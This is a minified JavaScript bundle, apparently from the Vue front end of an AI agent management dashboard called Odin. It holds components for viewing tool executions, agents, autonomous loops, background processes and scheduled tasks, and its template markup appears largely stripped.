w(){h==null||h.disconnect();for(const m of[i.value,l.value])m&&(h==null||h.observe(m));b()}function _(){e.value=!e.value,e.value||(n.value=!1)}function C(){n.value=!n.value,e.value=!0,a.value=""}async function v(){const m=t.value;try{await navigator.clipboard.writeText(u.value),m===t.value&&(a.value="Copied")}catch{m===t.value&&(a.value="Copy unavailable — select text manually")}}return us([()=>t.value,()=>t.rawValue,()=>t.recordId],(m,y)=>{(t.recordId===null||m[2]!==y[2])&&(e.value=!1,n.value=!1),a.value=""}),us([i,l,e,s,o],()=>ns(w),{flush:"post"}),dt(()=>{h=new ResizeObserver(b),w()}),It(()=>h==null?void 0:h.disconnect()),{expanded:e,wrapped:s,rawMode:n,copyStatus:a,previewElement:i,summaryElement:l,model:o,body:u,canExpand:d,showBody:p,headerSummary:B,toggleExpanded:_,toggleRaw:C,copyOutput:v}},template:` +
    +
    +
    + +
    +
    + + + +
    + +
    + +
    + + + + {{ model.outcome }} + {{ headerSummary }} + +
    +
    {{ expanded ? body : model.preview.text }}
    +
    +
    {{ model.warnings.join('; ') }}
    +
    {{ model.header.join(' · ') }}
    + +
    + {{ copyStatus }} +
    `},lu={name:"ToolOutput",components:{CompactOutput:nD},props:{value:{default:""},label:{type:String,default:"Output"},presentation:{type:String,default:"inspector"},rawValue:{default:void 0},hasContext:{type:Boolean,default:!1},recordId:{default:null}},setup(t){const e=f(!1),s=f(!0),n=f(!1),a=f(""),i=G(()=>ob(t.value)),l=G(()=>n.value?[{label:"Raw received value",text:i.value.raw}]:i.value.sections),r=G(()=>{let d=30,p=6e3;return l.value.map(B=>{const h=cb(B.text,d,p);return d=Math.max(0,d-h.lines),p=Math.max(0,p-h.chars),{...B,display:e.value?B.text:h.text,folded:h.folded}})}),o=G(()=>r.value.some(d=>d.folded)),c=G(()=>n.value?i.value.raw:l.value.map(d=>d.label?`${d.label} +${d.text}`:d.text).join(` + +`));async function u(){const d=t.value;try{await navigator.clipboard.writeText(c.value),t.value===d&&(a.value="Copied")}catch{t.value===d&&(a.value="Copy unavailable — select text manually")}}return us(()=>t.value,()=>{e.value=!1,a.value=""}),us(n,()=>{e.value=!1,a.value=""}),{expanded:e,wrapped:s,rawMode:n,copyStatus:a,model:i,foldedSections:r,canExpand:o,copyOutput:u}},template:` + + + + + +
    +
    + {{ model.kind }} + {{ item }} +
    +
    + + + + {{ copyStatus }} +
    +
    + +
    {{ section.display }}
    + More received text hidden locally. +
    + +
    + `},aD={components:{ToolOutput:lu},setup(){const t=f([]),e=f([]),s=f({}),n=50;let a=0;const i=(v,m)=>{var y,k,x;return v[m]??((y=v.metadata)==null?void 0:y[m])??((k=v.audit_metadata)==null?void 0:k[m])??((x=v.turn)==null?void 0:x[m])},l=v=>i(v,"originating_turn_id")||i(v,"turn_id")||"";function r(v,m){if(v.channel!==String(i(m,"channel_id")||"")||v.callId!==(i(m,"call_id")||null))return!1;const y=l(m);if(y&&v.turnId!==String(y))return!1;const k=i(m,"loop_id");if(k&&v.loopId!==String(k))return!1;const x=i(m,"user_id")||m.actor;if(x&&v.actor&&v.actor!==String(x))return!1;for(const[S,L]of[["agentId","agent_id"],["iteration","iteration"]]){const O=i(m,L);if(O!=null&&String(v[S])!==String(O))return!1}const A=m.action||m.tool_name;return!A||v.tool===A}function o(){const v=t.value.filter(m=>m.status==="running");for(const m of v)m.elapsed=Date.now()-m.startTime,m.status="unknown",m.result="Live evidence interrupted. Current execution state is unknown; consult audit history.";e.value=[...v,...e.value].slice(0,n),t.value=t.value.filter(m=>m.status!=="unknown"),s.value={}}function c(v){var k,x,A,S,L,O,I,J,ie,te;const m=v.payload||v,y=m.type||v.type;if(!(["loop_tool_start","loop_tool"].includes(y)&&!(i(m,"agent_id")||i(m,"loop_id")))&&!(["loop_tool_start","loop_tool"].includes(y)&&!(m.call_id||(k=m.metadata)!=null&&k.call_id))){if(y==="tool_start"||y==="loop_tool_start"){const R=m.call_id||((x=m.metadata)==null?void 0:x.call_id)||null,j=m.agent_id||((A=m.metadata)==null?void 0:A.agent_id)||"",N={callId:R,agentId:j,agentLabel:m.agent_label||((S=m.metadata)==null?void 0:S.agent_label)||"",toolInput:m.tool_input,id:JSON.stringify([String(i(m,"channel_id")||""),j,i(m,"loop_id")||"",l(m),i(m,"iteration")??0,R,m.action,++a]),turnId:String(l(m)),loopId:String(i(m,"loop_id")||""),tool:m.action,actor:String(i(m,"user_id")||m.actor||""),channel:String(i(m,"channel_id")||""),iteration:m.iteration??((L=m.metadata)==null?void 0:L.iteration)??0,startTime:Date.now(),elapsed:0,status:"running",output:"",result:""};t.value.unshift(N);return}if(y==="tool_end"||y==="loop_tool"){const R=m.call_id||((O=m.metadata)==null?void 0:O.call_id)||null,j=m.agent_id||((I=m.metadata)==null?void 0:I.agent_id)||"";let N=-1;if(R){const z=t.value.filter(ee=>r(ee,m)&&ee.status==="running");z.length===1&&(N=t.value.indexOf(z[0]))}if(N<0&&!R){const z=t.value.filter(ee=>!ee.callId&&ee.tool===m.action&&ee.channel===String(i(m,"channel_id")||"")&&ee.agentId===j&&ee.status==="running");z.length===1&&(N=t.value.indexOf(z[0]))}if(N>=0){const z=t.value[N],ee={...s.value};delete ee[z.id],s.value=ee,z.status=m.error||(J=m.metadata)!=null&&J.error||["error","failed","cancelled","denied","outcome_unknown"].includes(m.status||((ie=m.metadata)==null?void 0:ie.status))?"error":"success",z.elapsed=m.execution_time_ms??m.duration_ms??((te=m.metadata)==null?void 0:te.elapsed_ms)??Date.now()-z.startTime,z.result=m.result_summary??m.detail??"",z.fadingOut=!0,setTimeout(()=>{const Q=t.value.indexOf(z);Q>=0&&t.value.splice(Q,1),e.value.unshift(z),e.value.length>n&&e.value.pop()},5e3)}return}if(y==="tool_stream"){const R=t.value.filter(N=>r(N,m)&&N.status==="running");if(R.length>1)return;const j=R.length===1?R[0].id:JSON.stringify(["stream",i(m,"channel_id")||"",i(m,"agent_id")||"",i(m,"loop_id")||"",l(m),i(m,"iteration")??"",i(m,"call_id")||m.tool_name||""]);if(m.finished){const N={...s.value};delete N[j],s.value=N}else{const z=((s.value[j]||"")+(m.chunk||"")).split(` +`);s.value={...s.value,[j]:z.slice(-30).join(` +`)}}return}}}let u=null;function d(){const v=Date.now();t.value.forEach(m=>{m.status==="running"&&(m.elapsed=v-m.startTime)})}let p=!1,B=null;function h(){p||(p=!0,B=wt.onState(w),wt.on("events",c),u||(u=setInterval(d,500)))}function b(){p&&(p=!1,o(),B==null||B(),B=null,wt.off("events",c),u&&(clearInterval(u),u=null))}dt(h),hs(h),as(b),It(b);function w(v){v!=="connected"&&o()}function _(v){return v<1e3?`${v}ms`:`${(v/1e3).toFixed(1)}s`}function C(v){return v==="running"?"clock":v==="success"?"success":v==="error"?"error":"info"}return{activeTasks:t,recentHistory:e,streamOutput:s,formatMs:_,statusIcon:C}},template:` +
    +

    + Execution Viewer +

    + + +
    +

    Active

    +
    + No active tool executions +
    +
    +
    +
    + + + {{ task.tool }} + iter {{ task.iteration }} + agent {{ task.agentLabel || task.agentId }} +
    + {{ formatMs(task.elapsed) }} +
    + +
    Arguments
    + + +
    +
    + + +
    +

    Live Output

    +
    +
    {{ tool }}
    + + +
    +
    + + +
    +

    + Recent ({{ recentHistory.length }}) +

    +
    + No recent executions +
    +
    + + {{ task.tool }} + agent {{ task.agentLabel || task.agentId }} + {{ formatMs(task.elapsed) }} +
    Arguments
    + +
    +
    +
    + `};function Vp(t){if(t instanceof Date)return t;if(typeof t=="string"){const e=new Date(t);return isNaN(e.getTime())?null:e}return typeof t=="number"&&isFinite(t)?new Date(t<1e12?t*1e3:t):null}function Ki(t){const e=Vp(t);return e?e.toLocaleString(void 0,{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit"}):"—"}function iD(t){const e=Vp(t);return e?e.toLocaleTimeString():"—"}function ub(t){const e=Vp(t);if(!e)return"—";const s=Math.max(0,Math.floor((Date.now()-e.getTime())/1e3));return s<60?`${s}s ago`:s<3600?`${Math.floor(s/60)}m ago`:s<86400?`${Math.floor(s/3600)}h ago`:`${Math.floor(s/86400)}d ago`}function lD(t){if(t==null||!isFinite(t))return"—";const e=Math.max(0,Math.floor(Number(t)));return e<60?"less than 1 min ago":e<3600?`${Math.floor(e/60)} min ago`:e<86400?`${Math.floor(e/3600)} hr ago`:`${Math.floor(e/86400)} day ago`}function Pl(t){if(t==null||!isFinite(t))return"—";const e=Math.max(0,Math.round(t));if(e<60)return`${e}s`;if(e<3600){const a=Math.floor(e/60),i=e%60;return i?`${a}m ${i}s`:`${a}m`}const s=Math.floor(e/3600),n=Math.floor(e%3600/60);return n?`${s}h ${n}m`:`${s}h`}function Kp(t,e=200){const s=String(t??"");return s.length>e?s.slice(0,e)+"…":s}function db(t,e=5e3){const s=String(t??"");return s.length>e?s.slice(0,e)+` +... (truncated)`:s}function qB(t){return String(t??"").replace(/&/g,"&").replace(//g,">").replace(/"/g,""").replace(/'/g,"'")}function Wp(t){return t==null||!isFinite(t)?"—":Number(t).toLocaleString()}function pb(t){return t==null||!isFinite(t)?"—":t>=1e3?`${(t/1e3).toFixed(1)}k`:String(t)}function fi(t=()=>{}){let e=0,s=!0;const n=()=>{s=!1,++e,t()};return hs(()=>{s||++e,s=!0}),as(n),It(n),()=>{const a=++e,i=s;return()=>i&&s&&a===e}}const fb=Symbol("agent-detail-cancelled"),rD=15e3;function oD(t,{timeoutMs:e,timeoutLabel:s,scheduleTimeout:n,cancelTimeout:a}){const i=typeof AbortController=="function"?new AbortController:null;let l=null,r=!1,o,c;const u=new Promise((B,h)=>{o=B,c=h});function d(B,h){r||(r=!0,l!==null&&a(l),l=null,(B?o:c)(h))}let p;try{p=t(i==null?void 0:i.signal)}catch(B){d(!1,B)}return r||Promise.resolve(p).then(B=>d(!0,B),B=>d(!1,B)),!r&&Number.isFinite(e)&&e>0&&(l=n(()=>{const B=Math.max(1,Math.round(e/1e3));d(!1,new Error(`${s} request timed out after ${B}s`)),i==null||i.abort()},e)),{promise:u,cancel(){d(!0,fb),i==null||i.abort()}}}function Bb({state:t,requestDetail:e,timeoutMs:s=rD,detailLabel:n="Agent detail",scheduleTimeout:a=globalThis.setTimeout.bind(globalThis),cancelTimeout:i=globalThis.clearTimeout.bind(globalThis)}){if(!t||typeof t!="object")throw new TypeError("agent detail state is required");if(typeof e!="function")throw new TypeError("requestDetail must be a function");let l=null;function r(){const p=l;l=null,p==null||p.cancel()}function o(p,{initial:B,coalesce:h}){if(!p)return Promise.resolve();if(h&&l&&l.agentId===p&&t.detailId===p)return l.promise;r();const b={agentId:p,cancel:null,promise:null};l=b,B?(t.detail=null,t.detailError=null,t.detailLoading=!0):t.detail===null&&t.detailError===null&&(t.detailLoading=!0);const w=oD(_=>e(p,{signal:_}),{timeoutMs:s,timeoutLabel:n,scheduleTimeout:a,cancelTimeout:i});return b.cancel=w.cancel,b.promise=(async()=>{let _=null,C=null;try{_=await w.promise}catch(v){C=v}_!==fb&&(l!==b||t.detailId!==p||(l=null,!C&&(_===null||typeof _!="object")&&(C=new Error(`${n} response was empty or invalid`)),C?t.detail===null&&(t.detailError=(C==null?void 0:C.message)||`Failed to load ${n.toLowerCase()}`):(t.detail=_,t.detailError=null),t.detailLoading=!1))})(),b.promise}function c(p){return t.detailId=p,o(p,{initial:!0,coalesce:!1})}function u(){const p=t.detailId;return p?o(p,{initial:!1,coalesce:!0}):Promise.resolve()}function d(){r(),t.detailId=null,t.detail=null,t.detailError=null,t.detailLoading=!1}return{open:c,refresh:u,close:d,hasInFlight:()=>l!==null}}function cD({isEnabled:t,refreshList:e,hasOpenDetail:s,refreshDetail:n,intervalMs:a=5e3,scheduleInterval:i=globalThis.setInterval.bind(globalThis),cancelInterval:l=globalThis.clearInterval.bind(globalThis)}){let r=null;function o(){t()&&(e(),s()&&n())}function c(){r!==null&&(l(r),r=null)}function u(){c(),t()&&(r=i(o,a))}function d(){t()?u():c()}return{start:u,stop:c,sync:d,isRunning:()=>r!==null}}const uD={components:{ToolOutput:lu},template:` +
    +
    +

    Agents

    +
    + + +
    +
    + + +
    +
    + {{ agents.length }} + Total +
    +
    + {{ runningCount }} + Running +
    +
    + {{ completedCount }} + Completed +
    +
    + {{ failedCount }} + Failed +
    +
    + + + + + +
    +
    +
    + +
    + + No agents + Agents are spawned via Discord commands or the chat interface +
    + + +
    + +
    +
    + +
    +
    + + {{ agent.label }} + {{ agent.id }} +
    + {{ agent.status }} +
    + + + +
    + {{ displayModelText(agent) }} + {{ displayEffortText(agent) }} +
    + + +
    {{ agent.goal }}
    + + +
    +
    +
    + + +
    +
    + Iterations + {{ agent.iteration_count }} +
    +
    + Runtime + {{ formatDuration(agent.runtime_seconds) }} +
    +
    + Tools + {{ agent.tools_used_count ?? 0 }} +
    +
    + + +
    + + by {{ agent.requester_name }} + + + {{ formatTs(agent.created_at) }} + +
    + + +
    +
    Result
    +
    {{ agent.result }}
    +
    +
    +
    Error
    +
    {{ agent.error }}
    +
    + +
    + + +
    + +
    +
    +
    + + + +
    `,setup(){const t=f([]),e=f(!0),s=f(null),n=f(null),a=f(!0),i=f("all");let l=!1;const r=G(()=>t.value.filter(z=>z.status==="running").length),o=G(()=>t.value.filter(z=>z.status==="completed").length),c=G(()=>t.value.filter(z=>["failed","timeout","killed"].includes(z.status)).length),u=G(()=>[{value:"all",label:"All",count:t.value.length},{value:"running",label:"Running",count:r.value},{value:"completed",label:"Completed",count:o.value},{value:"failed",label:"Failed",count:c.value}]),d=G(()=>i.value==="all"?t.value:i.value==="failed"?t.value.filter(z=>["failed","timeout","killed"].includes(z.status)):t.value.filter(z=>z.status===i.value));function p(z){const ee=Number(z.max_iterations)||0;return ee<=0?0:Math.min(100,Math.round(z.iteration_count/ee*100))}function B(z){return(Number(z.max_iterations)||0)>0}function h(z,ee){return z?z==="N/A"?"N/A":ee==="current_inheritance"?`inherit (currently ${z})`:z:"unknown"}function b(z){return h(z.display_model,z.display_model_source||z.display_source)}function w(z){return h(z.display_reasoning_effort,z.display_reasoning_effort_source||z.display_source)}function _(z){return{last_execution:"last executed",current_inheritance:"inherited from current config — not yet executed",spawn_override_pending:"requested at spawn — not yet executed",unknown:"no execution data"}[z]||""}const C=f(null),v=f(null),m=f(!1),y=f(null),k=f(""),A=Bb({state:{get detail(){return C.value},set detail(z){C.value=z},get detailId(){return v.value},set detailId(z){v.value=z},get detailLoading(){return m.value},set detailLoading(z){m.value=z},get detailError(){return y.value},set detailError(z){y.value=z}},requestDetail:(z,{signal:ee})=>U.get(`/api/agents/${encodeURIComponent(z)}`,{signal:ee})});async function S(z){k.value="",await A.open(z.id)}function L(){A.close(),k.value=""}async function O(){await A.refresh()}async function I(z,ee){try{await navigator.clipboard.writeText(ee||""),k.value=z,setTimeout(()=>{k.value===z&&(k.value="")},1500)}catch{Ie.error("Copy failed")}}const J=fi(()=>{e.value=!1});async function ie(z=!1){const ee=J();z=z===!0,z||(e.value=!0);try{const Q=await U.get("/api/agents");if(!ee())return;t.value=Array.isArray(Q)?Q:[],s.value=null}catch(Q){if(!ee())return;z||(s.value=Q.message)}ee()&&(e.value=!1)}async function te(z){const ee=t.value.find(Y=>Y.id===z);if(await Es({title:"Kill agent",message:`Kill agent "${(ee==null?void 0:ee.label)||z}"? Its current work will be lost.`,confirmLabel:"Kill",danger:!0})){n.value=z;try{await U.del(`/api/agents/${encodeURIComponent(z)}`),Ie.success("Agent killed"),await ie()}catch(Y){Ie.error(Y.message||"Failed to kill agent")}n.value=null}}const R=cD({isEnabled:()=>a.value&&l,refreshList:()=>ie(!0),hasOpenDetail:()=>!!v.value,refreshDetail:O});function j(){R.start()}function N(){R.stop()}return us(a,()=>R.sync()),dt(()=>{l=!0,ie(),j()}),hs(()=>{l=!0,ie(!0),j()}),as(()=>{l=!1,N()}),It(()=>{l=!1,N(),A.close()}),{agents:t,loading:e,error:s,killing:n,autoRefresh:a,statusFilter:i,runningCount:r,completedCount:o,failedCount:c,statusFilters:u,filteredAgents:d,formatTs:Ki,formatDuration:Pl,progressPercent:p,hasProgress:B,displayModelText:b,displayEffortText:w,displaySourceLabel:_,detail:C,detailId:v,detailLoading:m,detailError:y,copied:k,openDetail:S,closeDetail:L,copyText:I,fetchAgents:ie,killAgent:te,startAutoRefresh:j,stopAutoRefresh:N}}},dD={template:` +
    +
    +

    Autonomous Loops

    +
    + + +
    +
    + + +
    +

    Start New Loop

    + +
    + +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    {{ createError }}
    + + +
    + + +
    +
    +
    + +
    + + No active loops + Click "Start Loop" to create an autonomous recurring task +
    +
    + +
    +
    +
    {{ loops.length }}
    +
    Total Loops
    +
    +
    +
    {{ runningCount }}
    +
    Running
    +
    +
    +
    {{ totalIterations }}
    +
    Total Iterations
    +
    +
    + + +
    +
    +
    +
    +
    + + {{ loop.status || 'running' }} + {{ loop.mode }} + {{ loop.id }} +
    +
    + +
    {{ loop.goal }}
    + +
    +
    + Interval: + {{ formatDuration(loop.interval_seconds) }} +
    +
    + Iterations: + {{ loop.iteration_count }} / {{ loop.max_iterations }} +
    +
    +
    +
    +
    + Last trigger: + {{ loop.last_trigger_age_seconds == null ? 'pending' : formatDuration(loop.last_trigger_age_seconds) + ' ago' }} +
    +
    + Created: + {{ formatAge(loop.created_at) }} +
    +
    + +
    + Stop when: {{ loop.stop_condition }} +
    + +
    + Started by {{ loop.requester_name }} +
    + +
    + Latest context preview + {{ loop.iteration_history[loop.iteration_history.length - 1] }} +
    +
    +
    + + +
    +
    +
    +
    + + + +
    `,setup(){const t=f([]),e=f(!0),s=f(null),n=f(!1),a=f({goal:"",interval_seconds:60,mode:"notify",max_iterations:50,stop_condition:"",channel_id:""}),i=f(!1),l=f(null),r=f(null),o=f(null),c=f(null),u=f(null),d=f(!1),p=f(null),B=f("");let h=!1;const w=Bb({state:{get detail(){return c.value},set detail(N){c.value=N},get detailId(){return u.value},set detailId(N){u.value=N},get detailLoading(){return d.value},set detailLoading(N){d.value=N},get detailError(){return p.value},set detailError(N){p.value=N}},detailLabel:"Loop detail",requestDetail:(N,{signal:z})=>U.get(`/api/loops/${encodeURIComponent(N)}?limit=100`,{signal:z})});async function _(N){B.value="",await w.open(N.id)}function C(){w.close(),B.value=""}async function v(N,z){try{await navigator.clipboard.writeText(z||""),B.value=N,setTimeout(()=>{B.value===N&&(B.value="")},1500)}catch{Ie.error("Copy failed")}}const m=G(()=>t.value.reduce((N,z)=>N+(z.iteration_count||0),0)),y=G(()=>t.value.filter(N=>N.status==="running").length);function k(N){return N==="running"?"loop-status-running":N==="error"?"loop-status-error":"loop-status-stopped"}function x(N){return N==="running"?"badge-success":N==="error"?"badge-danger":N==="completed"?"badge-info":"badge-warning"}function A(N){return N==="act"?"badge-warning":N==="silent"?"badge-info":"badge-success"}const S=fi(()=>{e.value=!1});async function L(N=!1){const z=S();N=N===!0,N||(e.value=!0);try{const ee=await U.get("/api/loops");if(!z())return;t.value=Array.isArray(ee)?ee:[],s.value=null}catch(ee){if(!z())return;N||(s.value=ee.message)}z()&&(e.value=!1)}async function O(){l.value=null;const N=a.value;if(!N.goal.trim()){l.value="Goal is required";return}if(!N.channel_id.trim()){l.value="Channel ID is required";return}const z={goal:N.goal.trim(),channel_id:N.channel_id.trim(),interval_seconds:N.interval_seconds||60,mode:N.mode,max_iterations:N.max_iterations||50};N.stop_condition.trim()&&(z.stop_condition=N.stop_condition.trim()),i.value=!0;try{const ee=await U.post("/api/loops",z);Ie.success(`Loop started: ${ee.loop_id}`),a.value={goal:"",interval_seconds:60,mode:"notify",max_iterations:50,stop_condition:"",channel_id:""},n.value=!1,await L()}catch(ee){l.value=ee.message}i.value=!1}async function I(N){if(await Es({title:"Stop loop",message:`Stop loop ${N}? The current iteration will finish before stopping.`,confirmLabel:"Stop Loop",danger:!0})){r.value=N;try{await U.del(`/api/loops/${encodeURIComponent(N)}`),Ie.success("Loop stopped"),await L()}catch(ee){Ie.error(ee.message||"Failed to stop loop")}r.value=null}}async function J(N){o.value=N;try{await U.post(`/api/loops/${encodeURIComponent(N)}/restart`),Ie.success("Loop restarted"),await L()}catch(z){Ie.error(z.message||"Failed to restart loop")}o.value=null}function ie(N){h&&N.payload&&(N.payload.loop_id||N.payload.type==="loop")&&(L(!0),u.value&&w.refresh())}let te=null;function R(){te!==null&&clearInterval(te),te=null}function j(){R(),h&&(te=setInterval(()=>{L(!0),u.value&&w.refresh()},5e3))}return dt(()=>{h=!0,L(),wt.subscribe("events",ie),j()}),hs(()=>{h=!0,L(!0),j()}),as(()=>{h=!1,R()}),It(()=>{h=!1,wt.unsubscribe("events",ie),R(),w.close()}),{loops:t,loading:e,error:s,showCreate:n,form:a,creating:i,createError:l,stoppingId:r,restartingId:o,detail:c,detailId:u,detailLoading:d,detailError:p,copied:B,totalIterations:m,runningCount:y,statusDotClass:k,statusBadge:x,modeBadge:A,formatAge:ub,formatDuration:Pl,formatTs:Ki,formatTokens:pb,openDetail:_,closeDetail:C,copyText:v,fetchLoops:L,doCreate:O,doStop:I,doRestart:J}}},pD={template:` +
    +
    +
    +

    Processes

    +

    Inspect managed command lifecycles, output, and exit state.

    +
    +
    + + +
    +
    + +
    +
    +
    + +
    + + No background processes + Processes appear when Odin runs long-running commands +
    +
    + +
    +
    +
    {{ processes.length }}
    +
    Total
    +
    +
    +
    {{ runningCount }}
    +
    Running
    +
    +
    +
    {{ completedCount }}
    +
    Completed
    +
    +
    + + +
    +
    +
    +
    + + PID {{ p.pid }} + {{ p.status }} + (exit {{ p.exit_code }}) +
    +
    + {{ formatDuration(p.uptime_seconds) }} + +
    +
    + +
    + {{ p.command }} +
    + +
    + Host: {{ p.host || 'local' }} +
    + + +
    +
    Recent output:
    +
    {{ p.output_preview.join('\\n') }}
    +
    +
    +
    +
    + +
    `,setup(){const t=f([]),e=f(!0),s=f(null),n=f(!0);let a=null;const i=f(null),l=G(()=>t.value.filter(v=>v.status==="running").length),r=G(()=>t.value.filter(v=>v.status!=="running").length);function o(v){return v==="running"?"loop-status-running":v==="failed"||v==="error"?"loop-status-error":"loop-status-stopped"}function c(v){return v==="running"?"badge-success":v==="completed"||v==="exited"?"badge-info":v==="killed"||v==="error"||v==="failed"?"badge-danger":"badge-warning"}const u=fi(()=>{e.value=!1});async function d(v=!1){const m=u();v=v===!0,v||(e.value=!0);try{const y=await U.get("/api/processes");if(!m())return;t.value=y,s.value=null}catch(y){if(!m())return;v||(s.value=y.message)}m()&&(e.value=!1)}function p(){B(),n.value&&(a=setInterval(()=>{e.value||d(!0)},5e3))}function B(){a&&(clearInterval(a),a=null)}us(n,v=>{v?p():B()});async function h(v){if(await Es({title:"Kill process",message:`Kill process ${v}?`,confirmLabel:"Kill",danger:!0})){i.value=v;try{const y=await U.del(`/api/processes/${v}`);if(!y.success)throw new Error(y.error||y.result||"Termination not confirmed");Ie.success(y.result),await d()}catch(y){Ie.error(y.message||"Failed to kill process")}i.value=null}}function b(v){v.payload&&(v.payload.pid||v.payload.type==="process")&&d(!0)}let w=!1;function _(){w||(w=!0,d(),wt.subscribe("events",b),p())}function C(){w&&(w=!1,wt.unsubscribe("events",b),B())}return dt(_),hs(_),as(C),It(C),{processes:t,loading:e,error:s,autoRefresh:n,killingPid:i,runningCount:l,completedCount:r,procStatusDot:o,statusBadge:c,formatDuration:Pl,fetchProcesses:d,doKill:h}}},fD=/^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(?::(\d{2}))?$/;function VB(t,e){return e==="cron"&&String(t.cron||"").trim()?t.run_at="":e==="run_at"&&String(t.run_at||"").trim()&&(t.cron=""),t}function BD(t,e=!1){const s=a=>String(a).padStart(2,"0"),n=`${t.getFullYear()}-${s(t.getMonth()+1)}-${s(t.getDate())}T${s(t.getHours())}:${s(t.getMinutes())}`;return e?`${n}:${s(t.getSeconds())}`:n}function hD(t){const e=-t.getTimezoneOffset(),s=e>=0?"+":"-",n=Math.abs(e),a=Math.floor(n/60),i=n%60;return`UTC${s}${a}${i?`:${String(i).padStart(2,"0")}`:""}`}function KB(t){const e=String(t||"").trim();if(!e)return{state:"empty"};const s=fD.exec(e);if(!s)return{state:"invalid",typed:e};const[,n,a,i,l,r]=s.slice(0,6).map(Number),o=s[6]===void 0?0:Number(s[6]);if(o>59)return{state:"invalid",typed:e};const c=s[6]!==void 0,u=c?e.slice(0,19):e.slice(0,16),d=Date.UTC(n,a-1,i,l,r,o),p=new Date(d-864e5).getTimezoneOffset(),B=new Date(d+864e5).getTimezoneOffset(),h=[];for(const w of new Set([p,B])){const _=new Date(d+w*6e4);BD(_,c)===u&&(h.some(C=>C.getTime()===_.getTime())||h.push(_))}if(h.sort((w,_)=>w.getTime()-_.getTime()),h.length===0)return{state:"nonexistent",typed:e};if(h.length>1)return{state:"ambiguous",typed:e,options:h.map(w=>({instant:w,offset:hD(w),iso:w.toISOString()}))};const b=h[0];return{state:"ok",typed:e,instant:b,iso:b.toISOString()}}const gD=5e3;function ec(t){const e=(t==null?void 0:t.available)===!0,s=typeof(t==null?void 0:t.reason)=="string"?t.reason:"provider_error";return{available:e,reason:s,epoch:Number.isInteger(t==null?void 0:t.epoch)?t.epoch:null}}function Ao(t){if(t.available)return"";switch(t.reason){case"unavailable":return"Scheduling is not configured.";case"connecting":return"Scheduling is connecting.";case"disconnected":return"Scheduling is disconnected.";case"provider_error":return"Scheduling status provider failed.";default:return"Scheduling is unavailable."}}function WB(t){var e;return(t==null?void 0:t.status)!==503||!((e=t==null?void 0:t.data)!=null&&e.connection)?null:ec(t.data.connection)}function mD(t){return t!=="webhook"}function QB(t,e){return!mD(e)||(t==null?void 0:t.available)===!0}function vD(t,e=null){if((t==null?void 0:t.state)==="ok")return t.instant.toISOString();if((t==null?void 0:t.state)==="ambiguous"){if(e==null||e==="")throw new Error("Choose which occurrence of this repeated local time to use.");const s=t.options[Number(e)];if(!(s!=null&&s.instant))throw new Error("Choose a valid occurrence of this local time.");return s.instant.toISOString()}throw(t==null?void 0:t.state)==="nonexistent"?new Error("That local time does not exist because clocks skip it. Choose another time."):new Error("Enter a valid new one-time run time.")}const bD={template:` +
    +
    +
    +

    Schedules

    +

    Create, inspect, and run recurring or one-time automation.

    +
    +
    + + +
    +
    + +
    + {{ schedulingAvailabilityMessage }} Discord-delivered actions cannot be created, run, or resumed. Outbound HTTP webhooks remain available. +
    + + +
    +

    Create Schedule

    + +
    + +
    + +
    +
    + +
    +
    + +
    +
    + +

    Choose one timing mode. Entering a Cron expression clears One-Time, and entering a One-Time value clears Cron.

    +
    +
    + Cron Expression +
    + + +
    + +
    +
    + Valid. Next runs: +
    + {{ formatTs(run) }} ({{ formatFuture(run) }}) +
    +
    +
    {{ cronResult.error }}
    +
    + +
    + +
    +
    +
    + + +
    + + +
    + +

    + Fires at {{ runAtUtcPreview }} +

    +
    +
    + +
    + +
    + +
    +
    + +
    +
    + +
    +
    + +

    + Requires the command to emit the generic paginated JSON contract. +

    +
    +
    + +
    + +

    Each step requires tool_name and a tool_input object. Optional: description, condition, on_failure (abort or continue).

    +
    + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    + +
    +
    +
    + +
    +
    + +
    {{ createError }}
    + + +
    + + +
    +
    +
    + +
    + + No scheduled tasks + Click "New Schedule" to set up automated checks or reminders +
    +
    + +
    +
    +
    {{ schedules.length }}
    +
    Total
    +
    +
    +
    {{ cronCount }}
    +
    Recurring
    +
    +
    +
    {{ oneTimeCount }}
    +
    One-Time
    +
    +
    +
    {{ webhookCount }}
    +
    Webhook
    +
    +
    +
    {{ pausedCount }}
    +
    Paused
    +
    +
    +
    {{ failingCount }}
    +
    Failing
    +
    +
    + +
    + + + + + + + + + + + + + + + +
    DescriptionTypeScheduleLast RunStatusActions
    +
    +
    + +
    `,setup(){const t=f([]),e=f(!0),s=f(null),n=f(ec(null)),a=G(()=>n.value.available),i=G(()=>Ao(n.value));let l=null;const r=f(!1),o=f({description:"",action:"reminder",channel_id:"",cron:"",run_at:"",message:"",tool_name:"",tool_input_str:"",steps_str:"",report_format:"",webhook_url:"",webhook_method:"POST",webhook_headers_str:"",webhook_body:"",webhook_expected_status_str:""}),c=f(!1),u=f(null),d=G(()=>QB(n.value,o.value.action));function p(ae){return QB(n.value,ae)}const B=f(null),h=G(()=>KB(o.value.run_at));us(()=>o.value.run_at,()=>{B.value=null});const b=G(()=>{var Se;const ae=h.value;return ae.state==="ok"?ae.instant:ae.state==="ambiguous"&&B.value!==null&&((Se=ae.options[B.value])==null?void 0:Se.instant)||null}),w=G(()=>{const ae=b.value;return ae?`${ae.toLocaleString()} local — ${ae.toISOString()} UTC`:""}),_=f(null),C=f(!1),v=[{label:"Every hour",expr:"0 * * * *"},{label:"Every 6h",expr:"0 */6 * * *"},{label:"Daily 9am",expr:"0 9 * * *"},{label:"Weekly Mon",expr:"0 9 * * 1"},{label:"Every 30m",expr:"*/30 * * * *"}],m=f(null),y=f(null),k=f(null),x=f(null),A=f(null),S=f(null),L=f({}),O=f({}),I=f(null),J=f([]),ie=f(!1),te=f("");let R=0;const j=G(()=>t.value.filter(ae=>ae.cron&&!ae.one_time).length),N=G(()=>t.value.filter(ae=>ae.one_time).length),z=G(()=>t.value.filter(ae=>ae.trigger).length),ee=G(()=>t.value.filter(ae=>ae.paused).length),Q=G(()=>t.value.filter(ae=>ae.consecutive_failures>0).length);function Y(ae){if(!ae)return"-";const Se=Date.now(),$e=(new Date(ae).getTime()-Se)/1e3;if($e<0)return"overdue";if($e<60)return"in < 1 min";if($e<3600)return`in ${Math.floor($e/60)} min`;if($e<86400){const le=Math.floor($e/3600),Fe=Math.floor($e%3600/60);return Fe>0?`in ${le}h 